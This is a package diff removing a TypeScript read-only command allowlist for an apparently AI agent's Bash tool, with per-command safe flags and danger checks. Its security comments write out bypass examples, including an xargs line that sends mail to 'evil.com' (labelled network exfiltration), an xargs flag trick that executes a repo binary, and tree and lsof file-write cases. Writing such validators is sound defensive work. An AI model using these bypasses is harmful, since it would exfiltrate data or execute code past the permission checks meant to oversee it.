subagent-cli 0.3.0 → 0.3.1

package/src/tools/BashTool/readOnlyValidation.ts

@@ -1,1990 +0,0 @@
-import type { z } from 'zod/v4'
-import { getOriginalCwd } from '../../bootstrap/state.js'
-import {
-  extractOutputRedirections,
-  splitCommand_DEPRECATED,
-} from '../../utils/bash/commands.js'
-import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
-import { getCwd } from '../../utils/cwd.js'
-import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
-import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
-import { getPlatform } from '../../utils/platform.js'
-import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
-import {
-  containsVulnerableUncPath,
-  DOCKER_READ_ONLY_COMMANDS,
-  EXTERNAL_READONLY_COMMANDS,
-  type FlagArgType,
-  GH_READ_ONLY_COMMANDS,
-  GIT_READ_ONLY_COMMANDS,
-  PYRIGHT_READ_ONLY_COMMANDS,
-  RIPGREP_READ_ONLY_COMMANDS,
-  validateFlags,
-} from '../../utils/shell/readOnlyCommandValidation.js'
-import type { BashTool } from './BashTool.js'
-import { isNormalizedGitCommand } from './bashPermissions.js'
-import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
-import {
-  COMMAND_OPERATION_TYPE,
-  PATH_EXTRACTORS,
-  type PathCommand,
-} from './pathValidation.js'
-import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
-
-// Unified command validation configuration system
-type CommandConfig = {
-  // A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
-  safeFlags: Record<string, FlagArgType>
-  // An optional regex that is used for additional validation beyond flag parsing
-  regex?: RegExp
-  // An optional callback for additional custom validation logic. Returns true if the command is dangerous,
-  // false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
-  additionalCommandIsDangerousCallback?: (
-    rawCommand: string,
-    args: string[],
-  ) => boolean
-  // When false, the tool does NOT respect POSIX `--` end-of-options.
-  // validateFlags will continue checking flags after `--` instead of breaking.
-  // Default: true (most tools respect `--`).
-  respectsDoubleDash?: boolean
-}
-
-// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
-// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
-// they execute arbitrary commands for each search result.
-const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
-  '-h': 'none',
-  '--help': 'none',
-  '-V': 'none',
-  '--version': 'none',
-  '-H': 'none',
-  '--hidden': 'none',
-  '-I': 'none',
-  '--no-ignore': 'none',
-  '--no-ignore-vcs': 'none',
-  '--no-ignore-parent': 'none',
-  '-s': 'none',
-  '--case-sensitive': 'none',
-  '-i': 'none',
-  '--ignore-case': 'none',
-  '-g': 'none',
-  '--glob': 'none',
-  '--regex': 'none',
-  '-F': 'none',
-  '--fixed-strings': 'none',
-  '-a': 'none',
-  '--absolute-path': 'none',
-  // SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
-  // pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
-  '-L': 'none',
-  '--follow': 'none',
-  '-p': 'none',
-  '--full-path': 'none',
-  '-0': 'none',
-  '--print0': 'none',
-  '-d': 'number',
-  '--max-depth': 'number',
-  '--min-depth': 'number',
-  '--exact-depth': 'number',
-  '-t': 'string',
-  '--type': 'string',
-  '-e': 'string',
-  '--extension': 'string',
-  '-S': 'string',
-  '--size': 'string',
-  '--changed-within': 'string',
-  '--changed-before': 'string',
-  '-o': 'string',
-  '--owner': 'string',
-  '-E': 'string',
-  '--exclude': 'string',
-  '--ignore-file': 'string',
-  '-c': 'string',
-  '--color': 'string',
-  '-j': 'number',
-  '--threads': 'number',
-  '--max-buffer-time': 'string',
-  '--max-results': 'number',
-  '-1': 'none',
-  '-q': 'none',
-  '--quiet': 'none',
-  '--show-errors': 'none',
-  '--strip-cwd-prefix': 'none',
-  '--one-file-system': 'none',
-  '--prune': 'none',
-  '--search-path': 'string',
-  '--base-directory': 'string',
-  '--path-separator': 'string',
-  '--batch-size': 'number',
-  '--no-require-git': 'none',
-  '--hyperlink': 'string',
-  '--and': 'string',
-  '--format': 'string',
-}
-
-// Central configuration for allowlist-based command validation
-// All commands and flags here should only allow reading files. They should not
-// allow writing to files, executing code, or creating network requests.
-const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
-  xargs: {
-    safeFlags: {
-      '-I': '{}',
-      // SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
-      // optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
-      // attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
-      // flag takes NO arg and `X` becomes the next positional (target command).
-      //
-      // `-i` (`i::` — optional replace-str):
-      //   echo /usr/sbin/sendm | xargs -it tail a@evil.com
-      //   validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
-      //   GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
-      //
-      // `-e` (`e::` — optional eof-str):
-      //   cat data | xargs -e EOF echo foo
-      //   validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
-      //   GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
-      //   → executes binary named EOF from PATH → CODE EXEC (malicious repo)
-      //
-      // Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
-      // arg) instead — both validator and xargs agree on argument consumption.
-      // `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
-      '-n': 'number',
-      '-P': 'number',
-      '-L': 'number',
-      '-s': 'number',
-      '-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
-      '-0': 'none',
-      '-t': 'none',
-      '-r': 'none',
-      '-x': 'none',
-      '-d': 'char',
-    },
-  },
-  // All git read-only commands from shared validation map
-  ...GIT_READ_ONLY_COMMANDS,
-  file: {
-    safeFlags: {
-      // Output format flags
-      '--brief': 'none',
-      '-b': 'none',
-      '--mime': 'none',
-      '-i': 'none',
-      '--mime-type': 'none',
-      '--mime-encoding': 'none',
-      '--apple': 'none',
-      // Behavior flags
-      '--check-encoding': 'none',
-      '-c': 'none',
-      '--exclude': 'string',
-      '--exclude-quiet': 'string',
-      '--print0': 'none',
-      '-0': 'none',
-      '-f': 'string',
-      '-F': 'string',
-      '--separator': 'string',
-      '--help': 'none',
-      '--version': 'none',
-      '-v': 'none',
-      // Following/dereferencing
-      '--no-dereference': 'none',
-      '-h': 'none',
-      '--dereference': 'none',
-      '-L': 'none',
-      // Magic file options (safe when just reading)
-      '--magic-file': 'string',
-      '-m': 'string',
-      // Other safe options
-      '--keep-going': 'none',
-      '-k': 'none',
-      '--list': 'none',
-      '-l': 'none',
-      '--no-buffer': 'none',
-      '-n': 'none',
-      '--preserve-date': 'none',
-      '-p': 'none',
-      '--raw': 'none',
-      '-r': 'none',
-      '-s': 'none',
-      '--special-files': 'none',
-      // Uncompress flag for archives
-      '--uncompress': 'none',
-      '-z': 'none',
-    },
-  },
-  sed: {
-    safeFlags: {
-      // Expression flags
-      '--expression': 'string',
-      '-e': 'string',
-      // Output control
-      '--quiet': 'none',
-      '--silent': 'none',
-      '-n': 'none',
-      // Extended regex
-      '--regexp-extended': 'none',
-      '-r': 'none',
-      '--posix': 'none',
-      '-E': 'none',
-      // Line handling
-      '--line-length': 'number',
-      '-l': 'number',
-      '--zero-terminated': 'none',
-      '-z': 'none',
-      '--separate': 'none',
-      '-s': 'none',
-      '--unbuffered': 'none',
-      '-u': 'none',
-      // Debugging/help
-      '--debug': 'none',
-      '--help': 'none',
-      '--version': 'none',
-    },
-    additionalCommandIsDangerousCallback: (
-      rawCommand: string,
-      _args: string[],
-    ) => !sedCommandIsAllowedByAllowlist(rawCommand),
-  },
-  sort: {
-    safeFlags: {
-      // Sorting options
-      '--ignore-leading-blanks': 'none',
-      '-b': 'none',
-      '--dictionary-order': 'none',
-      '-d': 'none',
-      '--ignore-case': 'none',
-      '-f': 'none',
-      '--general-numeric-sort': 'none',
-      '-g': 'none',
-      '--human-numeric-sort': 'none',
-      '-h': 'none',
-      '--ignore-nonprinting': 'none',
-      '-i': 'none',
-      '--month-sort': 'none',
-      '-M': 'none',
-      '--numeric-sort': 'none',
-      '-n': 'none',
-      '--random-sort': 'none',
-      '-R': 'none',
-      '--reverse': 'none',
-      '-r': 'none',
-      '--sort': 'string',
-      '--stable': 'none',
-      '-s': 'none',
-      '--unique': 'none',
-      '-u': 'none',
-      '--version-sort': 'none',
-      '-V': 'none',
-      '--zero-terminated': 'none',
-      '-z': 'none',
-      // Key specifications
-      '--key': 'string',
-      '-k': 'string',
-      '--field-separator': 'string',
-      '-t': 'string',
-      // Checking
-      '--check': 'none',
-      '-c': 'none',
-      '--check-char-order': 'none',
-      '-C': 'none',
-      // Merging
-      '--merge': 'none',
-      '-m': 'none',
-      // Buffer size
-      '--buffer-size': 'string',
-      '-S': 'string',
-      // Parallel processing
-      '--parallel': 'number',
-      // Batch size
-      '--batch-size': 'number',
-      // Help and version
-      '--help': 'none',
-      '--version': 'none',
-    },
-  },
-  man: {
-    safeFlags: {
-      // Safe display options
-      '-a': 'none', // Display all manual pages
-      '--all': 'none', // Same as -a
-      '-d': 'none', // Debug mode
-      '-f': 'none', // Emulate whatis
-      '--whatis': 'none', // Same as -f
-      '-h': 'none', // Help
-      '-k': 'none', // Emulate apropos
-      '--apropos': 'none', // Same as -k
-      '-l': 'string', // Local file (safe for reading, Linux only)
-      '-w': 'none', // Display location instead of content
-
-      // Safe formatting options
-      '-S': 'string', // Restrict manual sections
-      '-s': 'string', // Same as -S for whatis/apropos mode
-    },
-  },
-  // help command - only allow bash builtin help flags to prevent attacks when
-  // help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
-  // man's -P flag allows arbitrary command execution via pager.
-  help: {
-    safeFlags: {
-      '-d': 'none', // Output short description for each topic
-      '-m': 'none', // Display usage in pseudo-manpage format
-      '-s': 'none', // Output only a short usage synopsis
-    },
-  },
-  netstat: {
-    safeFlags: {
-      // Safe display options
-      '-a': 'none', // Show all sockets
-      '-L': 'none', // Show listen queue sizes
-      '-l': 'none', // Print full IPv6 address
-      '-n': 'none', // Show network addresses as numbers
-
-      // Safe filtering options
-      '-f': 'string', // Address family (inet, inet6, unix, vsock)
-
-      // Safe interface options
-      '-g': 'none', // Show multicast group membership
-      '-i': 'none', // Show interface state
-      '-I': 'string', // Specific interface
-
-      // Safe statistics options
-      '-s': 'none', // Show per-protocol statistics
-
-      // Safe routing options
-      '-r': 'none', // Show routing tables
-
-      // Safe mbuf options
-      '-m': 'none', // Show memory management statistics
-
-      // Safe other options
-      '-v': 'none', // Increase verbosity
-    },
-  },
-  ps: {
-    safeFlags: {
-      // UNIX-style process selection (these are safe)
-      '-e': 'none', // Select all processes
-      '-A': 'none', // Select all processes (same as -e)
-      '-a': 'none', // Select all with tty except session leaders
-      '-d': 'none', // Select all except session leaders
-      '-N': 'none', // Negate selection
-      '--deselect': 'none',
-
-      // UNIX-style output format (safe, doesn't show env)
-      '-f': 'none', // Full format
-      '-F': 'none', // Extra full format
-      '-l': 'none', // Long format
-      '-j': 'none', // Jobs format
-      '-y': 'none', // Don't show flags
-
-      // Output modifiers (safe ones)
-      '-w': 'none', // Wide output
-      '-ww': 'none', // Unlimited width
-      '--width': 'number',
-      '-c': 'none', // Show scheduler info
-      '-H': 'none', // Show process hierarchy
-      '--forest': 'none',
-      '--headers': 'none',
-      '--no-headers': 'none',
-      '-n': 'string', // Set namelist file
-      '--sort': 'string',
-
-      // Thread display
-      '-L': 'none', // Show threads
-      '-T': 'none', // Show threads
-      '-m': 'none', // Show threads after processes
-
-      // Process selection by criteria
-      '-C': 'string', // By command name
-      '-G': 'string', // By real group ID
-      '-g': 'string', // By session or effective group
-      '-p': 'string', // By PID
-      '--pid': 'string',
-      '-q': 'string', // Quick mode by PID
-      '--quick-pid': 'string',
-      '-s': 'string', // By session ID
-      '--sid': 'string',
-      '-t': 'string', // By tty
-      '--tty': 'string',
-      '-U': 'string', // By real user ID
-      '-u': 'string', // By effective user ID
-      '--user': 'string',
-
-      // Help/version
-      '--help': 'none',
-      '--info': 'none',
-      '-V': 'none',
-      '--version': 'none',
-    },
-    // Block BSD-style 'e' modifier which shows environment variables
-    // BSD options are letter-only tokens without a leading dash
-    additionalCommandIsDangerousCallback: (
-      _rawCommand: string,
-      args: string[],
-    ) => {
-      // Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
-      // A BSD-style option is a token of only letters (no leading dash) containing 'e'
-      return args.some(
-        a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
-      )
-    },
-  },
-  base64: {
-    respectsDoubleDash: false, // macOS base64 does not respect POSIX --
-    safeFlags: {
-      // Safe decode options
-      '-d': 'none', // Decode
-      '-D': 'none', // Decode (macOS)
-      '--decode': 'none', // Decode
-
-      // Safe formatting options
-      '-b': 'number', // Break lines at num (macOS)
-      '--break': 'number', // Break lines at num (macOS)
-      '-w': 'number', // Wrap lines at COLS (Linux)
-      '--wrap': 'number', // Wrap lines at COLS (Linux)
-
-      // Safe input options (read from file, not write)
-      '-i': 'string', // Input file (safe for reading)
-      '--input': 'string', // Input file (safe for reading)
-
-      // Safe misc options
-      '--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
-      '-h': 'none', // Help
-      '--help': 'none', // Help
-      '--version': 'none', // Version
-    },
-  },
-  grep: {
-    safeFlags: {
-      // Pattern flags
-      '-e': 'string', // Pattern
-      '--regexp': 'string',
-      '-f': 'string', // File with patterns
-      '--file': 'string',
-      '-F': 'none', // Fixed strings
-      '--fixed-strings': 'none',
-      '-G': 'none', // Basic regexp (default)
-      '--basic-regexp': 'none',
-      '-E': 'none', // Extended regexp
-      '--extended-regexp': 'none',
-      '-P': 'none', // Perl regexp
-      '--perl-regexp': 'none',
-
-      // Matching control
-      '-i': 'none', // Ignore case
-      '--ignore-case': 'none',
-      '--no-ignore-case': 'none',
-      '-v': 'none', // Invert match
-      '--invert-match': 'none',
-      '-w': 'none', // Word regexp
-      '--word-regexp': 'none',
-      '-x': 'none', // Line regexp
-      '--line-regexp': 'none',
-
-      // Output control
-      '-c': 'none', // Count
-      '--count': 'none',
-      '--color': 'string',
-      '--colour': 'string',
-      '-L': 'none', // Files without match
-      '--files-without-match': 'none',
-      '-l': 'none', // Files with matches
-      '--files-with-matches': 'none',
-      '-m': 'number', // Max count
-      '--max-count': 'number',
-      '-o': 'none', // Only matching
-      '--only-matching': 'none',
-      '-q': 'none', // Quiet
-      '--quiet': 'none',
-      '--silent': 'none',
-      '-s': 'none', // No messages
-      '--no-messages': 'none',
-
-      // Output line prefix
-      '-b': 'none', // Byte offset
-      '--byte-offset': 'none',
-      '-H': 'none', // With filename
-      '--with-filename': 'none',
-      '-h': 'none', // No filename
-      '--no-filename': 'none',
-      '--label': 'string',
-      '-n': 'none', // Line number
-      '--line-number': 'none',
-      '-T': 'none', // Initial tab
-      '--initial-tab': 'none',
-      '-u': 'none', // Unix byte offsets
-      '--unix-byte-offsets': 'none',
-      '-Z': 'none', // Null after filename
-      '--null': 'none',
-      '-z': 'none', // Null data
-      '--null-data': 'none',
-
-      // Context control
-      '-A': 'number', // After context
-      '--after-context': 'number',
-      '-B': 'number', // Before context
-      '--before-context': 'number',
-      '-C': 'number', // Context
-      '--context': 'number',
-      '--group-separator': 'string',
-      '--no-group-separator': 'none',
-
-      // File and directory selection
-      '-a': 'none', // Text (process binary as text)
-      '--text': 'none',
-      '--binary-files': 'string',
-      '-D': 'string', // Devices
-      '--devices': 'string',
-      '-d': 'string', // Directories
-      '--directories': 'string',
-      '--exclude': 'string',
-      '--exclude-from': 'string',
-      '--exclude-dir': 'string',
-      '--include': 'string',
-      '-r': 'none', // Recursive
-      '--recursive': 'none',
-      '-R': 'none', // Dereference-recursive
-      '--dereference-recursive': 'none',
-
-      // Other options
-      '--line-buffered': 'none',
-      '-U': 'none', // Binary
-      '--binary': 'none',
-
-      // Help and version
-      '--help': 'none',
-      '-V': 'none',
-      '--version': 'none',
-    },
-  },
-  ...RIPGREP_READ_ONLY_COMMANDS,
-  // Checksum commands - these only read files and compute/verify hashes
-  // All flags are safe as they only affect output format or verification behavior
-  sha256sum: {
-    safeFlags: {
-      // Mode flags
-      '-b': 'none', // Binary mode
-      '--binary': 'none',
-      '-t': 'none', // Text mode
-      '--text': 'none',
-
-      // Check/verify flags
-      '-c': 'none', // Verify checksums from file
-      '--check': 'none',
-      '--ignore-missing': 'none', // Ignore missing files during check
-      '--quiet': 'none', // Quiet mode during check
-      '--status': 'none', // Don't output, exit code shows success
-      '--strict': 'none', // Exit non-zero for improperly formatted lines
-      '-w': 'none', // Warn about improperly formatted lines
-      '--warn': 'none',
-
-      // Output format flags
-      '--tag': 'none', // BSD-style output
-      '-z': 'none', // End output lines with NUL
-      '--zero': 'none',
-
-      // Help and version
-      '--help': 'none',
-      '--version': 'none',
-    },
-  },
-  sha1sum: {
-    safeFlags: {
-      // Mode flags
-      '-b': 'none', // Binary mode
-      '--binary': 'none',
-      '-t': 'none', // Text mode
-      '--text': 'none',
-
-      // Check/verify flags
-      '-c': 'none', // Verify checksums from file
-      '--check': 'none',
-      '--ignore-missing': 'none', // Ignore missing files during check
-      '--quiet': 'none', // Quiet mode during check
-      '--status': 'none', // Don't output, exit code shows success
-      '--strict': 'none', // Exit non-zero for improperly formatted lines
-      '-w': 'none', // Warn about improperly formatted lines
-      '--warn': 'none',
-
-      // Output format flags
-      '--tag': 'none', // BSD-style output
-      '-z': 'none', // End output lines with NUL
-      '--zero': 'none',
-
-      // Help and version
-      '--help': 'none',
-      '--version': 'none',
-    },
-  },
-  md5sum: {
-    safeFlags: {
-      // Mode flags
-      '-b': 'none', // Binary mode
-      '--binary': 'none',
-      '-t': 'none', // Text mode
-      '--text': 'none',
-
-      // Check/verify flags
-      '-c': 'none', // Verify checksums from file
-      '--check': 'none',
-      '--ignore-missing': 'none', // Ignore missing files during check
-      '--quiet': 'none', // Quiet mode during check
-      '--status': 'none', // Don't output, exit code shows success
-      '--strict': 'none', // Exit non-zero for improperly formatted lines
-      '-w': 'none', // Warn about improperly formatted lines
-      '--warn': 'none',
-
-      // Output format flags
-      '--tag': 'none', // BSD-style output
-      '-z': 'none', // End output lines with NUL
-      '--zero': 'none',
-
-      // Help and version
-      '--help': 'none',
-      '--version': 'none',
-    },
-  },
-  // tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
-  // -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
-  tree: {
-    safeFlags: {
-      // Listing options
-      '-a': 'none', // All files
-      '-d': 'none', // Directories only
-      '-l': 'none', // Follow symlinks
-      '-f': 'none', // Full path prefix
-      '-x': 'none', // Stay on current filesystem
-      '-L': 'number', // Max depth
-      // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
-      // WRITES 00Tree.html files to every subdirectory at the depth boundary.
-      // From man tree (< 2.1.0): "-R — at each of them execute tree again
-      // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
-      // depth" was misleading — the "rerun" includes a hardcoded -o file write.
-      // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
-      // subdir at depth 2. FILE WRITE, zero permissions.
-      '-P': 'string', // Include pattern
-      '-I': 'string', // Exclude pattern
-      '--gitignore': 'none',
-      '--gitfile': 'string',
-      '--ignore-case': 'none',
-      '--matchdirs': 'none',
-      '--metafirst': 'none',
-      '--prune': 'none',
-      '--info': 'none',
-      '--infofile': 'string',
-      '--noreport': 'none',
-      '--charset': 'string',
-      '--filelimit': 'number',
-      // File display options
-      '-q': 'none', // Non-printable as ?
-      '-N': 'none', // Non-printable as-is
-      '-Q': 'none', // Quote filenames
-      '-p': 'none', // Protections
-      '-u': 'none', // Owner
-      '-g': 'none', // Group
-      '-s': 'none', // Size bytes
-      '-h': 'none', // Human-readable sizes
-      '--si': 'none',
-      '--du': 'none',
-      '-D': 'none', // Last modification time
-      '--timefmt': 'string',
-      '-F': 'none', // Append indicator
-      '--inodes': 'none',
-      '--device': 'none',
-      // Sorting options
-      '-v': 'none', // Version sort
-      '-t': 'none', // Sort by mtime
-      '-c': 'none', // Sort by ctime
-      '-U': 'none', // Unsorted
-      '-r': 'none', // Reverse sort
-      '--dirsfirst': 'none',
-      '--filesfirst': 'none',
-      '--sort': 'string',
-      // Graphics/output options
-      '-i': 'none', // No indentation lines
-      '-A': 'none', // ANSI line graphics
-      '-S': 'none', // CP437 line graphics
-      '-n': 'none', // No color
-      '-C': 'none', // Color
-      '-X': 'none', // XML output
-      '-J': 'none', // JSON output
-      '-H': 'string', // HTML output with base HREF
-      '--nolinks': 'none',
-      '--hintro': 'string',
-      '--houtro': 'string',
-      '-T': 'string', // HTML title
-      '--hyperlink': 'none',
-      '--scheme': 'string',
-      '--authority': 'string',
-      // Input options (read from file, not write)
-      '--fromfile': 'none',
-      '--fromtabfile': 'none',
-      '--fflinks': 'none',
-      // Help and version
-      '--help': 'none',
-      '--version': 'none',
-    },
-  },
-  // date command - moved from READONLY_COMMANDS because -s/--set can set system time
-  // Also -f/--file can be used to read dates from file and set time
-  // We only allow safe display options
-  date: {
-    safeFlags: {
-      // Display options (safe - don't modify system time)
-      '-d': 'string', // --date=STRING - display time described by STRING
-      '--date': 'string',
-      '-r': 'string', // --reference=FILE - display file's modification time
-      '--reference': 'string',
-      '-u': 'none', // --utc - use UTC
-      '--utc': 'none',
-      '--universal': 'none',
-      // Output format options
-      '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
-      '--iso-8601': 'string',
-      '-R': 'none', // --rfc-email
-      '--rfc-email': 'none',
-      '--rfc-3339': 'string',
-      // Debug/help
-      '--debug': 'none',
-      '--help': 'none',
-      '--version': 'none',
-    },
-    // Dangerous flags NOT included (blocked by omission):
-    // -s / --set - sets system time
-    // -f / --file - reads dates from file (can be used to set time in batch)
-    // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
-    // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
-    additionalCommandIsDangerousCallback: (
-      _rawCommand: string,
-      args: string[],
-    ) => {
-      // args are already parsed tokens after "date"
-      // Flags that require an argument
-      const flagsWithArgs = new Set([
-        '-d',
-        '--date',
-        '-r',
-        '--reference',
-        '--iso-8601',
-        '--rfc-3339',
-      ])
-      let i = 0
-      while (i < args.length) {
-        const token = args[i]!
-        // Skip flags and their arguments
-        if (token.startsWith('--') && token.includes('=')) {
-          // Long flag with =value, already consumed
-          i++
-        } else if (token.startsWith('-')) {
-          // Flag - check if it takes an argument
-          if (flagsWithArgs.has(token)) {
-            i += 2 // Skip flag and its argument
-          } else {
-            i++ // Just skip the flag
-          }
-        } else {
-          // Positional argument - must start with + for format strings
-          // Anything else (like MMDDhhmm) could set system time
-          if (!token.startsWith('+')) {
-            return true // Dangerous
-          }
-          i++
-        }
-      }
-      return false // Safe
-    },
-  },
-  // hostname command - moved from READONLY_COMMANDS because positional args set hostname
-  // Also -F/--file sets hostname from file, -b/--boot sets default hostname
-  // We only allow safe display options and BLOCK any positional arguments
-  hostname: {
-    safeFlags: {
-      // Display options only (safe)
-      '-f': 'none', // --fqdn - display FQDN
-      '--fqdn': 'none',
-      '--long': 'none',
-      '-s': 'none', // --short - display short name
-      '--short': 'none',
-      '-i': 'none', // --ip-address
-      '--ip-address': 'none',
-      '-I': 'none', // --all-ip-addresses
-      '--all-ip-addresses': 'none',
-      '-a': 'none', // --alias
-      '--alias': 'none',
-      '-d': 'none', // --domain
-      '--domain': 'none',
-      '-A': 'none', // --all-fqdns
-      '--all-fqdns': 'none',
-      '-v': 'none', // --verbose
-      '--verbose': 'none',
-      '-h': 'none', // --help
-      '--help': 'none',
-      '-V': 'none', // --version
-      '--version': 'none',
-    },
-    // CRITICAL: Block any positional arguments - they set the hostname
-    // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
-    // Use regex to ensure no positional args after flags
-    regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
-  },
-  // info command - moved from READONLY_COMMANDS because -o/--output writes to files
-  // Also --dribble writes keystrokes to file, --init-file loads custom config
-  // We only allow safe display/navigation options
-  info: {
-    safeFlags: {
-      // Navigation/display options (safe)
-      '-f': 'string', // --file - specify manual file to read
-      '--file': 'string',
-      '-d': 'string', // --directory - search path
-      '--directory': 'string',
-      '-n': 'string', // --node - specify node
-      '--node': 'string',
-      '-a': 'none', // --all
-      '--all': 'none',
-      '-k': 'string', // --apropos - search
-      '--apropos': 'string',
-      '-w': 'none', // --where - show location
-      '--where': 'none',
-      '--location': 'none',
-      '--show-options': 'none',
-      '--vi-keys': 'none',
-      '--subnodes': 'none',
-      '-h': 'none',
-      '--help': 'none',
-      '--usage': 'none',
-      '--version': 'none',
-    },
-    // Dangerous flags NOT included (blocked by omission):
-    // -o / --output - writes output to file
-    // --dribble - records keystrokes to file
-    // --init-file - loads custom config (potential code execution)
-    // --restore - replays keystrokes from file
-  },
-
-  lsof: {
-    safeFlags: {
-      '-?': 'none',
-      '-h': 'none',
-      '-v': 'none',
-      '-a': 'none',
-      '-b': 'none',
-      '-C': 'none',
-      '-l': 'none',
-      '-n': 'none',
-      '-N': 'none',
-      '-O': 'none',
-      '-P': 'none',
-      '-Q': 'none',
-      '-R': 'none',
-      '-t': 'none',
-      '-U': 'none',
-      '-V': 'none',
-      '-X': 'none',
-      '-H': 'none',
-      '-E': 'none',
-      '-F': 'none',
-      '-g': 'none',
-      '-i': 'none',
-      '-K': 'none',
-      '-L': 'none',
-      '-o': 'none',
-      '-r': 'none',
-      '-s': 'none',
-      '-S': 'none',
-      '-T': 'none',
-      '-x': 'none',
-      '-A': 'string',
-      '-c': 'string',
-      '-d': 'string',
-      '-e': 'string',
-      '-k': 'string',
-      '-p': 'string',
-      '-u': 'string',
-      // OMITTED (writes to disk): -D (device cache file build/update)
-    },
-    // Block +m (create mount supplement file) — writes to disk.
-    // +prefix flags are treated as positional args by validateFlags,
-    // so we must catch them here. lsof accepts +m<path> (attached path, no space)
-    // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
-    additionalCommandIsDangerousCallback: (_rawCommand, args) =>
-      args.some(a => a === '+m' || a.startsWith('+m')),
-  },
-
-  pgrep: {
-    safeFlags: {
-      '-d': 'string',
-      '--delimiter': 'string',
-      '-l': 'none',
-      '--list-name': 'none',
-      '-a': 'none',
-      '--list-full': 'none',
-      '-v': 'none',
-      '--inverse': 'none',
-      '-w': 'none',
-      '--lightweight': 'none',
-      '-c': 'none',
-      '--count': 'none',
-      '-f': 'none',
-      '--full': 'none',
-      '-g': 'string',
-      '--pgroup': 'string',
-      '-G': 'string',
-      '--group': 'string',
-      '-i': 'none',
-      '--ignore-case': 'none',
-      '-n': 'none',
-      '--newest': 'none',
-      '-o': 'none',
-      '--oldest': 'none',
-      '-O': 'string',
-      '--older': 'string',
-      '-P': 'string',
-      '--parent': 'string',
-      '-s': 'string',
-      '--session': 'string',
-      '-t': 'string',
-      '--terminal': 'string',
-      '-u': 'string',
-      '--euid': 'string',
-      '-U': 'string',
-      '--uid': 'string',
-      '-x': 'none',
-      '--exact': 'none',
-      '-F': 'string',
-      '--pidfile': 'string',
-      '-L': 'none',
-      '--logpidfile': 'none',
-      '-r': 'string',
-      '--runstates': 'string',
-      '--ns': 'string',
-      '--nslist': 'string',
-      '--help': 'none',
-      '-V': 'none',
-      '--version': 'none',
-    },
-  },
-
-  tput: {
-    safeFlags: {
-      '-T': 'string',
-      '-V': 'none',
-      '-x': 'none',
-      // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
-      // It must NOT be in safeFlags because validateFlags unbundles combined
-      // short flags (e.g., -xS → -x + -S), but the callback receives the raw
-      // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
-      // from safeFlags ensures validateFlags rejects it (bundled or not) before
-      // the callback runs. The callback's -S check is defense-in-depth.
-    },
-    additionalCommandIsDangerousCallback: (
-      _rawCommand: string,
-      args: string[],
-    ) => {
-      // Capabilities that modify terminal state or could be harmful.
-      // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
-      // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
-      // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
-      // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
-      // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
-      // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
-      // rf is reset file (analogous to if/init_file).
-      const DANGEROUS_CAPABILITIES = new Set([
-        'init',
-        'reset',
-        'rs1',
-        'rs2',
-        'rs3',
-        'is1',
-        'is2',
-        'is3',
-        'iprog',
-        'if',
-        'rf',
-        'clear',
-        'flash',
-        'mc0',
-        'mc4',
-        'mc5',
-        'mc5i',
-        'mc5p',
-        'pfkey',
-        'pfloc',
-        'pfx',
-        'pfxl',
-        'smcup',
-        'rmcup',
-      ])
-      const flagsWithArgs = new Set(['-T'])
-      let i = 0
-      let afterDoubleDash = false
-      while (i < args.length) {
-        const token = args[i]!
-        if (token === '--') {
-          afterDoubleDash = true
-          i++
-        } else if (!afterDoubleDash && token.startsWith('-')) {
-          // Defense-in-depth: block -S even if it somehow passes validateFlags
-          if (token === '-S') return true
-          // Also check for -S bundled with other flags (e.g., -xS)
-          if (
-            !token.startsWith('--') &&
-            token.length > 2 &&
-            token.includes('S')
-          )
-            return true
-          if (flagsWithArgs.has(token)) {
-            i += 2
-          } else {
-            i++
-          }
-        } else {
-          if (DANGEROUS_CAPABILITIES.has(token)) return true
-          i++
-        }
-      }
-      return false
-    },
-  },
-
